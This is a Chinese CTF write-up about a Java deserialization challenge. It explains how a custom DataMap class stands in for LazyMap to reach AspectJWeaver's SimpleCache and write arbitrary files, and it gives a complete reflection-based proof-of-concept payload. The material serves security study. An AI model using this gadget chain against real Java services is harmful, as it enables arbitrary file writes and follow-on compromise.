前言
看到蚂蚁金服出了一个java web题目no rce 题目源码 ,文中的jdbc mysql 反序列化 和 AspectJWeaver反序列化在之前的文章中都有分析。本文章主要分析下出题人利用datamap替换了cc链中的lazymap来构造利用链。题目witreup
分析&构造
具体的lazymap利用链再上一篇文章中已经给出了分析。这里在hashset -> hashmap 以及最后SimpleCache.put()触发这部分都不在分析,直接复制过来用即可。主要分析datamap的触发流程。
1 2 3 4 5 6 7 8 9
| HashSet.readObject() HashMap.put() HashMap.hash() DataMap$Entry.hashcode DataMap$Entry.getValue() DataMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write()
|
首先我们看datamp的实现
通过给出的利用链我们可以知道主要是使用DataMap.get()触发整个流程
对比lazymap 可以看到我们这里要使用到的两个点 this.wrapperMap.get(key) this.values.put() 前者是为了传入content的值,后者是为了触发StorableCachingMap.put()到最后的写文件流程。
根据datamap的构造方法可以明白我们要创建一个Datamap() 切需要构造wrapperMap和values两个值满足上述的条件。于是有:
1
| DataMap dataMap = new DataMap(wrapperMap,(Map)simpleCache);
|
又因为需要通过this.wrapperMap.get(key) 获取到content所以我们要创建这样一个hashMap()以便操作。
1 2
| HashMap wrapperMap = new HashMap(); wrapperMap.put(path,content);
|
通过this.wrapperMap.get(key) 获取到content内容。 在之前的AspectJWeaver利用链分析中我们知道最后传入两个参数也就是put中对应的两个参数 key为 文件上传的路径 v为文件写入的内容。现在content已经想办法通过hashMap.get方法传入了,那么key这个值我们如何传入呢?
在DataMap中实现了Entry这样一个私有类,他在实例话的时候获取了一个参数并给this.key赋值然后通过getValue方法触发DataMap.this.get(this.key)将path参数传入。
于是有如下代码:
1 2 3
| Constructor ctorEntry = Class.forName("CTF.checker.DataMap$Entry").getDeclaredConstructors()[0]; ctorEntry.setAccessible(true); Object entry = ctorEntry.newInstance(dataMap,path);
|
最后看下DataMap$Entry.hashCode()
可以看到这里调用了this.getValue()至此整个反序列化构成。
1 2 3
| DataMap$Entry.hashcode DataMap$Entry.getValue() DataMap.get()
|
完整poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| package CTF
import checker.DataMap; import cn.hutool.core.codec.Base64;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class AspectJWeaver {
public static void main(String[] args) throws Exception { byte[] content = Base64.decode("YWhpaGloaQ=="); String path = "/tmp/1.txt";
Class aspectJWeaver = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Constructor ctor = aspectJWeaver.getDeclaredConstructor(String.class, int.class); ctor.setAccessible(true); Object simpleCache = ctor.newInstance("", 2);
HashMap wrapperMap = new HashMap(); wrapperMap.put(path,content);
DataMap dataMap = new DataMap(wrapperMap,(Map)simpleCache);
Constructor ctorEntry = Class.forName("checker.DataMap$Entry").getDeclaredConstructors()[0]; ctorEntry.setAccessible(true); Object entry = ctorEntry.newInstance(dataMap,path);
HashSet hashSet = new HashSet(1); hashSet.add("foo");
Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap innimpl = (HashMap) f.get(hashSet);
Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0]; if(node == null){ node = array[1]; }
Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); }
keyField.setAccessible(true); keyField.set(node, entry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(hashSet); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); ois.readObject();
} }
|
感谢鼓励